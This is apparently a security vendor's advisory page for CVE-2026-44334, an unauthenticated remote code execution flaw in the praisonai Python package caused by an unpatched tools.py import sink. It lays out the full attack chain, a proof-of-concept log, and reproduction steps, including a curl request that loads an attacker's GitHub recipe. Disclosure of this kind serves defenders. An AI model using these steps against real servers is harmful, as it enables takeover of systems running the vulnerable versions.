Your RSA-2048 keys break in 2030. Find every one of them before attackers do.
🐍
🐍 PyPI
Not in CISA KEV
HIGH severity

CVE-2026-44334 praisonai

HIGH

CVE-2026-44334 is a high-severity (CVSS 8.4) Code Injection vulnerability in praisonai. A fix is available for praisonai — see the affected versions and patch details below.

PraisonAI: Unauthenticated RCE via `tool_override.py`

Also known asGHSA-xcmw-grxf-wjhjPYSEC-2026-2926
Published
May 8, 2026
Updated
Aug 12, 2026
Affected
1 pkg
Patched
1 / 1
Exploits
None indexed
Exploitation data as of Sep 23, 2026 · OSV.dev, NVD, FIRST.org (EPSS)

Exploitation Status

No confirmed exploitation observed yet

  • A successful exploit gives an attacker total control of the affected component, not partial access.
  • CISA’s own triage has not observed active exploitation or public proof-of-concept code for this CVE as of its last assessment.

Exploitation and automatability from CISA’s SSVC triage for CVE-2026-44334.

EPSS Exploitation Probability

via FIRST.org ↗
0.2%probability of exploitation in next 30 days
Lower Risk0.00%
Lower risk than most CVEs16th percentile — riskier than 16% of all scored CVEsHighest risk

EPSS (Exploit Prediction Scoring System) is a daily probability model maintained by FIRST.org. It estimates the likelihood a CVE will be exploited in production environments within the next 30 days, derived from real-world threat intelligence signals.

How urgent is this, really

CVE-2026-44334 plotted by exploitation likelihood (EPSS) against impact (CVSS). The shaded corner — EPSS 50%+ and CVSS 7.0+ — is where this CVE doesn't sit, though severity or exploitability alone can still warrant action.

Where this sits among everything scored

Of 378,156 CVEs with a current EPSS score, this one falls in the < 10% band (highlighted). Real counts from FIRST.org, not a sample — log-scaled since the landscape is heavily right-skewed.

Real-World Exposure

1 pkg affected
🐍praisonai

Real-time download stats are indexed for npm and PyPI packages. This vulnerability affects PyPI packages — download data is not available via public APIs for these ecosystems.

Description

TL;DR

CVE-2026-40287's fix gated tools.py auto-import behind PRAISONAI_ALLOW_LOCAL_TOOLS=true in two files (tool_resolver.py, api/call.py). A third import sink in praisonai/templates/tool_override.py was missed and remains unguarded. It is reached by the recipe runner on every recipe execution and is remotely triggerable through POST /v1/recipes/run with a recipe value pointing at any local absolute path or any GitHub repo (because SecurityConfig.allow_any_github defaults to True). The attacker drops a tools.py next to TEMPLATE.yaml; the server exec_module()s it. No auth required by default, no environment opt-in required.

Patch coverage gap

CVE-2026-40287 was fixed in v4.5.139 by adding an env-var gate at:

FileLineGate
praisonai/tool_resolver.py77if os.environ.get("PRAISONAI_ALLOW_LOCAL_TOOLS", "").lower() != "true":
praisonai/api/call.py80same

But the equivalent sinks in praisonai/templates/tool_override.py were not patched:

# tool_override.py - create_tool_registry_with_overrides()
332    cwd_tools_py = Path.cwd() / "tools.py"
333    if cwd_tools_py.exists():
334        try:
335            tools = loader.load_from_file(str(cwd_tools_py))   # <-- exec_module
336            registry.update(tools)
337        except Exception:
338            pass
339
341    # 4. Template-local tools.py
342    if template_dir:
343        tools_py = Path(template_dir) / "tools.py"
344        if tools_py.exists():
345            try:
346                tools = loader.load_from_file(str(tools_py))   # <-- exec_module
347                registry.update(tools)
348            except Exception:
349                pass

load_from_file (line 84-94) ends in spec.loader.exec_module(module) with no allowlist, no signature check, no env gate. Both call sites run unconditionally on every recipe execution.

Attack chain

HTTP POST /v1/recipes/run
  body: {"recipe": "<abs path>" | "github:<owner>/<repo>/<recipe>"}
        │
        ▼
recipe/serve.py:483   run_recipe(request)              ← auth=none default
        │
        ▼
recipe/core.py:215    recipe.run(name, ...)
        │
        ▼
recipe/core.py:686    _load_recipe(name)
                      └─ ".." check only; absolute paths and URIs allowed
        │
        ▼
templates/loader.py:94    TemplateLoader.load(uri)
        │
        ▼
templates/security.py:130 is_source_allowed("github:*")
                          └─ allow_any_github=True default → returns True
        │
        ▼
templates/registry.py     fetch repo from raw.githubusercontent.com → cache dir
        │
        ▼
templates/security.py:215 validate_template_directory(cached.path)
                          └─ .py is in allowed_extensions → tools.py kept
        │
        ▼
recipe/core.py:887        _execute_recipe(recipe_config, ...)
        │
        ▼
recipe/core.py:943        create_tool_registry_with_overrides(
                              include_defaults=True,
                              template_dir=recipe_config.path)
        │
        ▼
templates/tool_override.py:341-349   load_from_file(template_dir/tools.py)
        │
        ▼
templates/tool_override.py:94        spec.loader.exec_module(module)   ← RCE

The tool registry build runs before any LLM/agent step, so OPENAI_API_KEY and similar are not required. A recipe with an empty workflow.steps: [] is sufficient - the payload fires during registry construction.

Confirmed execution (2026-04-25, praisonai 4.6.31)

SERVER stdout (PID 43784):
  Uvicorn running on http://127.0.0.1:8765
  127.0.0.1 - POST /v1/recipes/run HTTP/1.1
  [CVE-2026-40287-bypass] RCE fired. Marker written to: …/praisonai_pwn_1777094071.txt
  127.0.0.1 - "POST /v1/recipes/run" 500 Internal Server Error

Marker file:
  pid: 43784            ← matches server PID
  argv: ['server.py']   ← server process, not exploit

The 500 response is a downstream side-effect of workflow.steps: [] failing to construct a runnable workflow; the exec_module(tools.py) call runs before that error. The attacker payload has already executed in the server process by the time the 500 is sent.

Reproduction (local-path variant)

Files under pocs/praisonai-cve-2026-40287-bypass/:

pip install 'praisonai[serve]==4.6.31'

# Terminal 1
python server.py

# Terminal 2
python exploit.py

Expected: server stdout shows [CVE-2026-40287-bypass] RCE fired.; a praisonai_pwn_<timestamp>.txt file appears in the system temp directory containing user, host, pid, cwd captured from inside the server process.

Reproduction (remote GitHub variant)

# Push evil_recipe/ to https://github.com/<you>/poc-recipe (public repo)

curl -X POST http://target:8765/v1/recipes/run \
     -H 'Content-Type: application/json' \
     -d '{"recipe":"github:<you>/poc-recipe/poc-recipe"}'

No filesystem prerequisite on the target. Triggers because SecurityConfig.allow_any_github (templates/security.py:30) defaults to True.

Affected Packages

1 total 1 fixed
EcosystemPackageVulnerable rangeFix
🐍PyPIpraisonai4.5.139&&< 4.6.324.6.32pip install --upgrade 'praisonai==4.6.32'

Detection & mitigation playbook

Open-source dependency
  1. Detect

    Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for praisonai, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.

  2. Fix

    Update praisonai to 4.6.32 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms CVE-2026-44334 is resolved across your whole dependency graph.

  3. Workarounds

    If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.

  4. How O3 protects you

    O3 Security's impact-aware SCA analyses which vulnerable code paths your application actually calls, so a match like CVE-2026-44334 can be triaged on real exposure rather than presence alone.

Tailored to CVE-2026-44334. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.

Frequently Asked Questions

## TL;DR CVE-2026-40287's fix gated `tools.py` auto-import behind `PRAISONAI_ALLOW_LOCAL_TOOLS=true` in **two** files (`tool_resolver.py`, `api/call.py`). A **third** import sink in `praisonai/templates/tool_override.py` was missed and remains unguarded. It is reached by the recipe runner on every recipe execution and is **remotely** triggerable through `POST /v1/recipes/run` with a `recipe` value pointing at any local absolute path *or* any GitHub repo (because `SecurityConfig.allow_any_github` defaults to `True`). The attacker drops a `tools.py` next to `TEMPLATE.yaml`; the server `exec_mod
O3 Security · Impact-Aware SCA

Is CVE-2026-44334 in your dependencies?

O3 Security finds CVE-2026-44334 across PyPI dependencies, including transitive ones, and its impact-aware SCA ranks findings by whether your code actually calls the vulnerable path.

CVE-2026-44334: praisonai RCE (High 8.4) | O3 Security